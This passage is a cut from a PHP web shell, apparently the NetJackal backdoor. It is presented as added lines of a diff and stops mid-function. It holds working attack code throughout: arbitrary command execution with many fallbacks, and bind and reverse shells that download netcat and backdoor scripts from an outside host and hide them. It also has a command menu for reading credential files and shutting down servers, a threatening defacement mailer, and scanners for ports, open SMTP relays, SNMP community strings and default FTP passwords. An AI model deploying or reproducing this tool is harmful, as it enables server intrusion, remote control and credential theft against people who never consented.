bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>"; +function namE(){ +$name=''; +srand((double)microtime()*100000); +for ($i=0;$i<=rand(3,10);$i++){ +$name.=chr(rand(97,122)); +} +return $name; +} +function whereistmP(){ +$uploadtmp=ini_get('upload_tmp_dir'); +$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); +if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; +if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; +if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; +if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; +if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; +return "."; +} +function shelL($command){ +global $windows,$disablefunctions; +$exec = '';$output= ''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} +elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } +elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} +elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} +elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} +elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} +elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} +return $exec; +} +function downloadiT($get,$put){ +$fo=@strtolower(ini_get('allow_url_fopen')); +if($fo || $fo=='on')$con=file_get_contents($get); +else{ +$u=parse_url($get); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$url=fsockopen($host, 80, $en, $es, 12); +fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$tmp=$con=''; +while($tmp!="\r\n")$tmp=fgets($url); +while(!feof($url))$con.=fgets($url); +} +$mk=file_put_contents($put,$con); +if($mk)return 1; +return 0; +} +function smtplogiN($addr,$user,$pass,$timeout){ +$sock=fsockopen($addr,25,$n,$s,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,'ehlo '.namE()."\r\n"); +$res=substr(fgets($sock,512),0,1); +if($res!='2')return 0; +fgets($sock,512);fgets($sock,512);fgets($sock,512); +fputs($sock,"AUTH LOGIN\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($user)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='334')return 0; +fputs($sock,base64_encode($pass)."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='235')return 0; +return 1; +} +function checksmtP($host,$timeout){ +$from=strtolower(namE())."@".strtolower(namE()).".com"; +$sock=@fsockopen($host,25,$n,$s,$timeout); +if(!$sock)return -1; +$res=substr(fgets($sock,512),0,3); +if($res!='220')return 0; +fputs($sock,'HELO '.namE()."\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"MAIL FROM: <$from>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"RCPT TO: <contact@persianblog.com>\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +fputs($sock,"DATA\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='354')return 0; +fputs($sock,"From: ".namE()." ".namE()." <$from>\r\nSubject: ".namE()."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".namE().namE().namE()."\r\n.\r\n"); +$res=substr(fgets($sock,512),0,3); +if($res!='250')return 0; +return 1; +} +function check_urL($url,$method,$search,$timeout){ +if(empty($search))$search='200'; +$u=parse_url($url); +$method=strtoupper($method); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$data=(!empty($u['query']))?$u['query']:''; +if(!empty($data))$data="?$data"; +$sock=@fsockopen($host,80,$en,$es,$timeout); +if($sock){ +fputs($sock,"$method $file$data HTTP/1.0\r\n"); +fputs($sock,"Host: $host\r\n"); +if($method=='GET')fputs($sock,"\r\n"); +elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); +else return 0; +if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;} +while(!feof($sock)){ +$res=trim(fgets($sock)); +if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} +} +fclose($sock); +} +return 0; +} +function get_sw_namE($host,$timeout){ +$sock=@fsockopen($host,80,$en,$es,$timeout); +if($sock){ +$page=namE().namE(); +fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); +while(!feof($sock)){ +$con=fgets($sock); +if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} +} +fclose($sock); +return -1; +}return 0; +} +function snmpchecK($ip,$com,$timeout){ +$res=0; +$n=chr(0x00); +$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)). +$com. chr(0xA0). +chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n. +chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C). +chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01). +chr(0x01). chr(0x01). $n. chr(0x05). $n; +$sock=@fsockopen("udp://$ip",161); +socket_set_timeout($sock,$timeout); +@fputs($sock,$packet); +socket_set_timeout($sock,$timeout); +$res=fgets($sock); +fclose($sock); +return $res; +} + +$safemode=(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on')?'ON':'OFF'; +if($safemode=="ON"){@ini_restore("safe_mode");@ini_restore("open_basedir");} +$disablefunctions = @ini_get('disable_functions'); +if (!function_exists("str_repeat")){ +function str_repeat($str,$c){ +$r=""; +for($i=0; $i < $cu; $i++)$r.=$str; +return $r; +} +} + +function brshelL(){ +global $errorbox, $windows,$et,$hcwd; +$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0; +$addr='http://netjackal.by.ru/backdoor'; +$error="$errorbox Can not make backdoor file, go to writeable folder.$et"; +$n=namE(); +if(!$windows)$n=".$n"; +$d=whereistmP(); +$name=$d.DIRECTORY_SEPARATOR.$n; +$perl=(!$windows && shelL('which perl'))?$perl=shelL('which perl'):'perl'; +$c=($_REQUEST['C'])?1:0; +if (!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1) ){ +$port=(int)$_REQUEST['port']; +if($windows){ +if($c){ +$name.=".exe"; +$bd=downloadiT("$addr/nc.exe",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe"); +}else{ +$name = $name.".pl"; +$bd=downloadiT("$addr/winbind.pl",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("perl.exe $name $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/bind.c",$name); +if (!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &"); +}else{ +$bd=downloadiT("$addr/bind.pl",$name); +if (!$bd)echo $error; else shelL("cd $d;$perl $n $port &"); +echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>"; +} +} +} +elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){ +$ip=$_REQUEST['ip']; +$port=(int)$_REQUEST['rport']; +if($windows){ +if($c){ +$name.='.exe'; +$bd=downloadiT("$addr/nc.exe",$name); +shelL("attrib +H $name"); +if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe"); +}else{ +$name = $name.".pl"; +$bd=downloadiT("$addr/winrc.pl",$name); +shelL("attrib +H $name"); +if (!$bd)echo $error; else shelL("perl.exe $name $ip $port"); +} +} +else{ +if($c){ +$bd=downloadiT("$addr/rc.c",$name); +if(!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &"); +}else{ +$bd=downloadiT("$addr/rc.pl",$name); +if(!$bd)echo $error;else shelL("cd $d;$perl $n $ip $port &"); +} +} +echo "<font color=blue>Done!</font>";} +else{echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"50%\" bgcolor=\"#333333\">Bind shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=port value=55501 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input type=submit class=buttons value=Bind></td></tr></form></table></td><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"40%\" bgcolor=\"#333333\">Reverse shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#808080\">IP:</td><td bgcolor=\"#808080\"><input type=text name=ip value=";echo $_SERVER["REMOTE_ADDR"]; echo " size=17></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=rport value=53 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Connect></td></tr></form></table>$et";}} +function showimagE($img){ +echo "<center><img border=0 src=\"".hlinK("imagE=$img&&workingdiR=".getcwd())."\"></center>";} +function editoR($file){ +global $errorbox,$et,$hcwd; +if (is_file($file)){ +if (!is_readable($file)){echo "$errorbox File is not readable$et<br>";} +if (!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";} +$data = file_get_contents($file); +echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\">$hcwd<input type=text value=\"".htmlspecialchars($file)."\" size=75 name=file><input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"64\">"; +echo htmlspecialchars($data); +echo "</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"$file\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">"; +} +else {echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\"><input type=text value=\"".getcwd()."\" size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"63\"></textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"".getcwd()."\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">"; +} +echo "$hcwd<input type=submit class=buttons name=Save value=Save></td></form></tr></table></center>"; +} +function webshelL(){ +global $windows,$hcwd; +if($windows){ +$alias="<option value=\"netstat -an\">Display open ports</option><option value=\"tasklist\">List of processes</option><option value=\"systeminfo\">System information</option><option value=\"ipconfig /all\">IP configuration</option><option value=\"getmac\">Get MAC address</option><option value=\"net start\">Services list</option><option value=\"net view\">Machines in domain</option><option value=\"net user\">Users list</option><option value=\"gpresult\">Group policy</option><option value=\"shutdown -s -f -t 1\">Turn off the server</option>"; +} +else{ +$alias="<option value=\"netstat -an | grep -i listen\">Display open ports</option><option value=\"last -a -n 250 -i\">Show last 250 logged in users</option><option value=\"which wget curl lynx w3m\">Downloaders</option><option value=\"find / -perm -2 -type d -print\">Find world-writable directories</option><option value=\"find . -perm -2 -type d -print\">Find world-writable directories(in current directory)</option><option value=\"find / -perm -2 -type f -print\">Find world-writable files</option><option value=\"find . -perm -2 -type f -print\">Find world-writable files(in current directory)</option><option value=\"find / -type f -perm 04000 -ls\">Find files with SUID bit set</option><option value=\"find / -type f -perm 02000 -ls\">Find files with SGID bit set</option><option value=\"find / -name .htpasswd -type f\">Find .htpasswd files</option><option value=\"find / -type f -name .bash_history\">Find .bash_history files</option><option value=\"cat /etc/syslog.conf\">View syslog.conf</option><option value=\"cat cat /etc/hosts\">View hosts</option><option value=\"ps auxw\">List of processes</option>"; +if(is_dir('/etc/valiases'))$alias.="<option value=\"ls -l /etc/valiases\">List of Cpanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value=\"ls -l /etc/vdomainaliases\">List Cpanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value=\"cat /var/cpanel/accounting.log\">Display Cpanel`s log</option>"; +if(is_dir('/var/spool/mail/'))$alias.="<option value=\"ls /var/spool/mail/\">Mailboxes list</option>"; +} +echo "<center><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=82 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><tr><td><b>Web Shell:</b></td></tr><td bgcolor=\"#666666\"><textarea rows=\"22\" cols=\"78\">"; +if (!empty($_REQUEST['cmd'])) echo shelL($_REQUEST['cmd']); +echo"</textarea></td></tr><form method=post><tr><td bgcolor=\"#808080\"><input type=text size=91 name=cmd value=\"";if (!empty($_REQUEST['cmd'])) echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows) echo "cat /etc/passwd";echo "\">$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor=\"#808080\"><select name=\"cmd\" width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></table><center>"; +} +function maileR(){ +global $msgbox,$et,$hcwd; +$cwd= getcwd(); +if (!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){ +$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body']; +if (!mail($to,$subject,$body,"From: $from"))break; +echo "$msgbox<b>Mail sent!</b><br>$et"; +} +echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td><b>Mailer:</b></td></tr><td width=\"20%\" bgcolor=\"#666666\">SMTP</td><td bgcolor=\"#666666\">".ini_get('SMTP')." (".ini_get('smtp_port').")</td></tr><tr><td bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\"><input name=from type=text value=\"evil@hell.gov\" size=55>$hcwd</td><tr><td width=\"25%\" bgcolor=\"#666666\">To:</td><td bgcolor=\"#666666\"><input name=to type=text value=\""; if (!empty($_REQUEST['to'])) echo htmlspecialchars($_REQUEST['to']); elseif(!empty($_ENV["SERVER_ADMIN"])) echo $_ENV["SERVER_ADMIN"];else echo "admin@".getenv('HTTP_HOST'); echo "\" size=55></td></tr><tr><td bgcolor=\"#808080\">Subject:</td><td bgcolor=\"#808080\"><input name=subject type=text value=\"YOUR SERVER HAS BEED HACKED :-P\" size=55></td><tr><td bgcolor=\"#666666\">Body:</td><td bgcolor=\"#666666\"><textarea rows=\"18\" cols=\"43\" name=body>Admin, your system has been hacked! if you don`t seCure it, next time i`ll format your box.</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=\"right\"><input type=submit class=buttons value=Send></form>$et"; +} +function scanneR(){ +global $hcwd; +if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1"; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0; +echo "<font color=blue>Port scanning started against ".htmlspecialchars($target).":<br>"; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if (checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=""; +if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")"; +echo "$nu) $i $ser (<a href=\"telnet://$target:$i\">Connect</a>) [TCP]<br>"; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]<br>";} +flusheR(); +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +} +elseif (!empty($_REQUEST['securityscanner'])){ +echo "<font color=blue>"; +$start=time(); +$from=$_REQUEST['from']; +$to=(int)$_REQUEST['to']; +$timeout=(int)$_REQUEST['timeout']; +$f = substr($from,strrpos($from,".")+1); +$from = substr($from,0,strrpos($from,".")); +if(!empty($_REQUEST['httpscanner'])){ +echo "Loading webserver bug list..."; +flusheR(); +$buglist=whereistmP().DIRECTORY_SEPARATOR.namE(); +$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo "Done! scanning started.<br><br>";}else echo "Failed!!! scanning started without webserver security testing...<br><br>"; +flusheR(); +}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:<br><br>";} +for($i=$f;$i<=$to;$i++){ +$output=0; +$ip="$from.$i"; +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]<br>";} +flusheR(); +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port; +$open=$ser=""; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if ($scan){ +$ser=""; +if($ser=getservbyport($po,"tcp"))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open<br>";$output=1;} +flusheR(); +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo "Unknow"; +else echo $res; +echo "<br>"; +$output=1; +} +flusheR(); +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach ($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +elseif(strstr($page,'@ADMINDIRS')) +foreach ($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +elseif(strstr($page,'@USERS')) +foreach ($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +elseif(strstr($page,'@NUKE')) +foreach ($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}flusheR(); +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=""; +if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com; +foreach ($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms .=" $v "; +} +if ($coms!=""){echo "$ip) SNMP FOUND: $coms<br>";$output=1;} +flusheR(); +} +} +if(!empty($_REQUEST['ftpscanner'])){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach ($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +$ftp=@ftp_connect($ip,21,$timeout); +if ($ftp){ +if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) <a href=\"ftp://$ip\" target=\"_blank\">$ip</a> System type: ".ftp_systype($ftp)."<br>";} +} +flusheR(); +} +} +} +if($output)echo "<hr size=1 noshade>"; +flusheR(); +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +if(!empty($buglist))unlink($buglist); +} +else{ +$chbox=(extension_loaded('sockets'))?"<input type=checkbox name=tcp value=1 checked>TCP<input type=checkbox name=udp value=1 checked>UDP":"<input type=hidden name=tcp value=1>"; +echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td>Port scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">Target:</td><td bgcolor=\"#808080\" width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor=\"#666666\" width=25%>From:</td><td bgcolor=\"#666666\" width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td bgcolor=\"#808080\" width=25%>To:</td><td bgcolor=\"#808080\" width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Timeout:</td><td bgcolor=\"#666666\"><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\" bgcolor=\"#808080\">$chbox</td><td bgcolor=\"#808080\" align=\"right\">$hcwd<input type=submit class=buttons name=portscanner value=Scan></td></tr></form></table>"; +$host = substr($host,0,strrpos($host,".")); +echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\" name=security><td>security scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\" width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style=\"border-width:1px;background-color:#808080;\" name=nslookup checked>NS lookup</td></tr><tr><td bgcolor=\"#666666\" width=25%>To:</td><td bgcolor=\"#666666\" width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Timeout:</td><td bgcolor=\"#808080\"><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;background-color:#666666;\">Port scanner:</td><td bgcolor=\"#666666\"><input name=port type=text value=\"21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Get web banner</td><td bgcolor=\"#808080\"><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;background-color:#808080;\">SMTP relay check</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.userpass.disabled = !document.security.userpass.disabled;\" style=\"border-width:1px;background-color:#666666;\">FTP password:</td><td bgcolor=\"#666666\"><input name=userpass type=text value=\"anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;background-color:#808080;\">SNMP:</td><td bgcolor=\"#808080\"><input name=com type=text value=\"public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,agent,manager,OrigEquipMfr,default,tivoli,openview,community,snmp,snmpd,Secret C0de,security,rmon,rmon_admin,hp_admin,NoGaH$@!,agent_steal,freekevin,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,apc,TENmanUFactOryPOWER,proxy,core,regional\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input type=submit class=buttons name=securityscanner value=Scan></td></tr></form></table></center><br><center>"; +} +} +function sysinfO(){ +global $windows,$disablefunctions,$safemode; +$cwd= getcwd(); +$mil="<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program="; +$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF"; +if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) $CPU = $_SERVER["PROCESSOR_IDENTIFIER"]; +$osver=$tsize=$fsize=''; +if ($windows){ +$osver = " (".shelL("ver").")"; +$sysroot = shelL("echo %systemroot%"); +if (empty($sysroot)) $sysroot = $_SERVER["SystemRoot"]; +if (empty($sysroot)) $sysroot = getenv("windir"); +if (empty($sysroot)) $sysroot = "Not Found"; +if (empty($CPU))$CPU = shelL("echo %PROCESSOR_IDENTIFIER%"); +for ($i=66;$i<=90;$i++){ +$drive= chr($i).':\\'; +if (is_dir($drive)){ +$fsize+=@disk_free_space($drive); +$tsize+=@disk_total_space($drive); +} +} +}else{ +$fsize=disk_free_space('/'); +$tsize=disk_total_space('/'); +} +$disksize="Used spase: ". showsizE($tsize-$fsize) . " Free space: ". showsizE($fsize) . " Total space: ". showsizE($tsize); +if (empty($CPU)) $CPU = "Unknow"; +$os 